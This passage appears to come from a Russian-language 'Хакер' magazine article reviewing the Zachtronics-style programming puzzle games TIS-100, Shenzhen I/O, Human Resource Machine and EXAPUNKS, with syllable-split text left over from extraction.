парал лель ной  сис темы  на  ассем бле ре».  Но  это  как‐то  слиш ком  длин но
и  малопо нят но.  Так  что  мож но  ска зать  прос то:  «Это  пот ряса юще!»  Да,  так
гораз до понят нее и луч ше!

TIS‐100  —  игра‐загад ка,  она  и  начина ется‐то  с  таинс твен ного  пос лания
на полях докумен тации к компь юте ру непонят ной архи тек туры. Ключ ко все му
содер жится  где‐то  там,  в  пов режден ных  ячей ках  памяти. Вот  толь ко  добыть
его неимо вер но труд но. И это сов сем не художес твен ное пре уве личе ние.

TIS‐100  очень  быс тро  учит  игро ка,  что  его  при обре тен ные  навыки  прог‐ 
рамми рова ния  и  сфор мирован ные  парадиг мы  мыш ления  здесь  мало  чего
сто ят.  Лиш ними‐то  они,  конеч но,  не  будут,  но  мно гое  при дет ся  пере‐ 
осмыслить. Ну дей стви тель но, как вооб ще мож но что‐то сде лать, ког да у тебя
в рас поряже нии один регистр (окей, пол тора — еще один без пря мого дос‐ 
тупа)? Ока зыва ется, мож но, и еще как.

TIS‐100 вво дит  кон цепцию «нод‐ори енти рован ного прог рамми рова ния»,  где
каж дая отдель ная нода пред став ляет собой про цес сор с край не огра ничен‐ 
ными ресур сами. Память на пят надцать ассем блер ных команд — и ни в чем
себе  не  отка зывай.  Хотя  мож но  объ еди нять  ноды  и  переме щать  зна чения
меж ду  ними  —  но  нуж но  стро го  соб людать  пос ледова тель ность  чте ния
и записи в пор ты обме на.

TIS‐100,  впро чем,  идет  даль ше.  Нем ного  осво ившись  и  решив  пер вые
нес коль ко заданий, ты начина ешь уже видеть, как новая прог рамма раз бива‐ 
ется на ноды (а не фун кции или объ екты!) и обра баты вает вход ной поток дан‐ 
ных,  рез во  переб расывая  про межу точ ные  зна чения  в  пор тах  обме на.  Сов‐ 
мес тная работа нод гораз до быс трее и эффектив нее. А что, если орга низо‐ 
вать парал лель ный поток и добавить еще нод?

TIS‐100  в  этот момент  откры вает ся  с  новой  сто роны. Поиск  решения  тут
сам по себе увле кате лен и спо собен рас тянуть ся на дол гое вре мя. Но про‐ 
цесс   решения – о, это интеллек туаль ное удо воль ствие слож но
с  чем‐то  срав нить.  Опти мизи ровать  мож но  сра зу  по  нес коль ким  парамет‐ 
рам — чис лу занима емых нод, количес тву инс трук ций и ско рос ти выпол нения
прог раммы. И каж дое решение будет по‐сво ему уни каль ным. Эта игра в сос‐ 
тоянии быть слож ной нас толь ко, нас коль ко ты захочешь.

оп тимиза ции

TIS‐100  —  не  самая  дру желюб ная  к  нович кам  игра.  С  нее  точ но  не  сто ит
начинать зна комс тво с прог рамми рова нием. У нее дос таточ но при митив ный
интерфейс  и  нет  музыкаль ного  соп ровож дения.  Вре мена ми  она  может
бесить. И спо соб на сож рать кучу тво его вре мени. Но если по каким‐то при‐ 
чинам ты выбира ешь толь ко одну игру из все го спис ка — бери TIS‐100.
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Пер вая  в  нашем  спис ке  игра  о  раз работ чиках  не  из  Крем ниевой  долины
и пер вая игра, дей ствие которой раз ворачи вает ся не в прош лом (и даже не в
будущем),  а  в  нас тоящем.  Игро ку  пред лага ется  при мерить  на  себя  роль
инже нера  молодой  китай ской  ком пании  и  при нять  учас тие  в  соз дании  сов‐ 
ремен ных циф ровых устрой ств.

 берет на себя неп ростую задачу и ста рает ся про демонс три‐ 
ровать игро ку про цесс раз работ ки элек тро ники прак тичес ки на всех эта пах.
Все  начина ется  с  изу чения  вну шитель ной  под борки  даташи тов  и  ману алов
«вымыш ленных» про изво дите лей мик росхем, но при желании ана логии лег ко
уга дыва ются.  Авто ры  игры  кро пот ливо  перенес ли  все  детали  подоб ных
руководств, сох ранив логику и струк туру основных раз делов. Порой докумен‐ 
тация выг лядит прос то пуга юще реалис тичной.

Shenzhen I/O

Да лее  идет  выбор  ком плек тующих.  Как  и  в  дру гих  голово лом ках  подоб ного
рода,  тут  пред лага ется  не  толь ко  най ти  решение,  но  еще  и  допол нитель но
опти мизи ровать  его:  по  цене,  энер гопот ребле нию  и  про чим  парамет рам.
Каж дый  ком понент  име ет  впол не  опре делен ную  сто имость  в  юанях,
и  руководс тво  ком пании  в  деловой  перепис ке  никог да  не  упус тит  слу чая
напом нить  тебе,  что  устрой ство  обя зано  быть  дешевым,  что бы  ока зать ся
мас совым. Очень, очень реалис тично!

На конец,  мож но  раз водить  пла ту  для  устрой ства  и  прог рамми ровать
логику работы мик рокон трол леров. И здесь Shenzhen I/O силь но выиг рыва ет
за счет сво его ком плексно го под хода к модели рова нию про цес са раз работ‐ 
ки. Гра мот но сочетая в себе и схе мотех нику, и прог рамми рова ние, игра наг‐ 
лядно показы вает, как одну и ту же задачу мож но решить раз ными спо соба‐ 
ми: либо аппа рат но, либо прог рам мно. Такой «фазовый переход» на гра нице
кода и железа.

Shenzhen I/O покоря ет сво им раз нооб рази ем. Десят ки ком понен тов, мик‐ 
рокон трол леры  и  мик росхе мы  ком бинаци онной  логики,  перифе рий ные
устрой ства — авто ры смог ли внут ри игры вос создать сов ремен ную эле мен‐ 
тную базу, которая, с одной сто роны, дос таточ но похожа на реаль ную, но при
этом все же име ет занят ные нюан сы, что бы раз влечь и спе циалис тов тоже.

Ес ли ты уже успел сыг рать в TIS‐100 или MHRD и по каким‐то при чинам они
показа лись тебе слиш ком одно образны ми, то Shenzhen I/O тебя при ятно уди‐ 
вит. Одна ко если в TIS‐100 для стар та дос таточ но было про читать лишь один
ману ал  по  ассем бле ру  и  архи тек туре,  то  здесь  к  докумен тации  при дет ся
обра щать ся  пос тоян но.  Аске тич ность  и  минима лизм  —  это  точ но  не  про
Shenzhen I/O.

Впро чем, ей это и не нуж но. Боль ше,  луч ше, быс трее — игра напол нена
энер гией  и  динами кой  сов ремен ной  эпо хи,  бешено  пуль сиру ющим  рит мом
огромно го  мегапо лиса  и  ежед невны ми  интеллек туаль ными  вызова ми.  Игра
Shenzhen I/O однознач но зас лужива ет наших рекомен даций.
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Пер вое, чем запоми нает ся эта игра, — весь ма необыч ный для голово ломок
сет тинг и анту раж. Офор млен ная в муль тяш ном сти ле, но тем ных тонах анти‐ 
уто пии, игра в рав ной сте пени про изво дит несерь езное впе чат ление повер‐ 
хностной  сатиры  и  одновре мен но  талан тли вого  омма жа  на  ору эллов ский
«1984». Вдо бавок  где‐то  на  под сту пах  к  городу  здесь маячит  армия машин,
о которой обес поко енно сооб щает дик тор на телеви дении. Раз работ чик явно
не стре мил ся огра ничить свою фан тазию!

Для  челове ка,  хорошо  зна комо го  с  низ коуров невым  прог рамми рова нием,
 не ста нет откро вени ем. Боль шинс тво игро вых задач тут дос таточ но лег‐ 

ко  перефор мулиро вать  в  тер минах  язы ков  ассем бле ра  или  С  —  а  даль ше
оста ется  толь ко  пор тировать  решение,  что  вряд  ли  зай мет  мно го  вре мени.
Игру  впол не  мож но  завер шить  за  нес коль ко  часов,  если  не  ста вить
перед собой цель выпол нить все задания на опти миза цию.

HRM

Про хож дение  осложня ется  еще  и  неудоб ным  интерфей сом  игры.  Даже
мак сималь ная ско рость выпол нения прог раммы здесь ока зыва ется черес чур
мед ленной  для  некото рых  финаль ных  эта пов,  с  наибо лее  заковы рис тыми
реали заци ями.  Кро ме  того,  тут  нель зя  по‐челове чес ки  редак тировать  код
с  кла виату ры — игро ку  тре бует ся  вся кий  раз  перетя гивать мышью  коман ды
и рас став лять их в нуж ной пос ледова тель нос ти.

HRM здо рово бы выиг рала от баналь ной воз можнос ти струк туриро вать  код,
вынося  отдель ные  кус ки  в  фун кции,  —  тог да  ее  мож но  было  бы  рекомен‐ 
довать как минимум в обра зова тель ных целях. Вмес то это го игро ку пред лага‐ 
ется писать «спа гет ти»‐код, с высоким содер жани ем безус ловных перехо дов
в  самые  раз ные  час ти  прог раммы.  Если  бес порядоч ные  хит рос пле тения
прыж ков  тут  и  могут  чему‐то  научить  игро ка,  то  толь ко  тому,  что  так  делать
точ но не сто ит.

Из  плю сов  игры  сто ит  отме тить  музыкаль ное  соп ровож дение  и  хороший
юмор раз работ чиков. Поч ти каж дый бри финг перед задани ем соп ровож дает‐ 
ся  неп рикры тым  сте бом  авто ра  над  кор поратив ными  цен ностя ми  круп ных
ком паний, государс твен ным кон тро лем, сов ремен ным общес твом пот ребле‐ 
ния и раз ными неод нознач ными аспекта ми прог рамми рова ния.
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Пос ле зна комс тва с   нам слож но пред ста вить себе более «хакер‐ 
скую»  игру. Безум ный  сплав  кибер панка  и  рет рофуту риз ма,  кру то  замешан‐ 
ный на низ коуров невом прог рамми рова нии и получе нии кон тро ля над чужими
компь юте рами,  безоши боч но  отзо вет ся  в  соз нании  любого,  кто  нерав‐ 
нодушен  не  толь ко  к  информа цион ным  тех нологи ям,  но  и  к  таким  про изве‐ 
дени ям, как «Ней романт», «Мат рица» или Deus Ex.

EXAPUNKS

Для это го у EXAPUNKS под готов лен пол ный набор обя затель ных эле мен тов,
береж но  рас став ленных  в  нуж ных  мес тах  сюжета  для  соз дания  той  самой
кибер панков ской атмосфе ры. Анти уто пия, прин цип high tech — low life? Есть.
Шиф ропан ки,  отвер гну тые общес твом и ютя щиеся  в  тру щобах,  заражен ные
загадоч ной болезнью? Есть. Искусс твен ный интеллект, чьи истинные мотивы
никому  не  извес тны?  Есть.  Черт  побери,  тут  даже  азам  внут рииг рового
ассем бле ра  и  тон костям  взло ма  игро ка  обу чают  в  фор мате  выпус ков  под‐ 
поль ного жур нала! Мы  в  «Хакере»  все  друж но  счи таем  это  прос то  свер хре‐ 
алис тичным момен том!

На щупав в TIS‐100 и Shenzhen  I/O удач ные механи ки  «игры о низ коуров‐ 
невом прог рамми рова нии», в Zachtronics не ста ли сле по копиро вать свои же
идеи  и  при дума ли  кон цепцию  EXA  —  мини атюр ных  циф ровых  роботов,
которые  манипу лиру ют  дан ными  и  вза имо дей ству ют  с  осталь ными  компь‐ 
ютер ными  сис темами.  Каж дый  EXA  исполня ет  собс твен ную  прог рамму
и  впол не  самодос таточен.  Но,  как  и  преж де,  реаль ная  глу бина  гей мплея
откры вает ся игро ку при сов мес тных дей стви ях нес коль ких EXA.

Как резуль тат, работа прог раммы на игро вом экра не ста ла наг лядной. Здесь
это  не  прос то  переме щение  абс трак тных  чисел  из  регис тров  в  порт
и обратно: EXA исполь зуют ссыл ки, путешес тву ют меж ду сер верами, похища‐ 
ют  и  фаль сифици руют  дан ные  в  поль зователь ских  фай лах.  При  этом  слож‐ 
ность заданий и дос таточ но кру тая кри вая обу чения оста лись преж ними, так
что фанаты «хар дко ра» в играх Zachtronics могут спать спо кой но. Рав но как и
любите ли  сорев новать ся  решени ями  в  рей тин гах  —  раз работ чики  убра ли
огра ниче ние  на  количес тво  строк  кода  для  каж дого  EXA,  но  про цесс  опти‐ 
миза ции по‐преж нему при носит огромное удо воль ствие.

Сто ит  ли  играть  в  EXAPUNKS?  Однознач но  сто ит.  Единс твен ное,  если  пла‐ 
ниру ешь  так  или  ина че  поп робовать  все  игры  Zachtronics  подоб ного  пла на,
то, воз можно, луч ше все же про ходить их в хро ноло гичес ком поряд ке выпус‐ 
ка.  И  вов се  не  потому,  что  они  объ еди нены  какой‐то  общей  все лен ной
или сюжетом. Прос то пос ле EXAPUNKS в TIS‐100 и Shenzhen I/O хорошо вид‐ 
на некото рая бюд жетность про ектов. Безус ловно, авто ры тог да не мог ли поз‐ 
волить себе реали зовать все име ющиеся идеи на дол жном уров не. Но успех
пер вых игр и под дер жка бла годар ных игро ков сде лали свое дело.




